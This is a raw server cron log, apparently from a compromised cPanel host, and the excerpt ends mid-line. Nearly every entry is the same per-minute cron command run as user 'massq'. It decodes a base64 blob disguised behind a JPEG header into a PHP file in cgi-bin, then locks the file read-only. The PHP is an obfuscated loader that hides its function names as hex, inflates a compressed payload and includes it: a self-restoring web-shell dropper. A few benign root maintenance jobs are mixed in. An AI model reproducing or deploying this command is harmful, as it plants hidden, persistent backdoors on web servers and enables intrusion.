Apr 11 22:21:01 server CROND[18413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:22:01 server CROND[18475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:23:01 server CROND[18547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:24:01 server CROND[18695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:25:01 server CROND[18761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 22:25:01 server CROND[18764]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 11 22:25:01 server CROND[18765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:25:01 server CROND[18762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 22:26:01 server CROND[18880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:27:01 server CROND[18934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:27:01 server CROND[18935]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 22:28:01 server CROND[18999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:29:01 server CROND[19215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:30:01 server CROND[19284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 22:30:01 server CROND[19285]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 22:30:01 server CROND[19286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:30:01 server CROND[19290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 22:31:01 server CROND[19399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:32:01 server CROND[19457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:33:01 server CROND[19515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:34:01 server CROND[19652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVp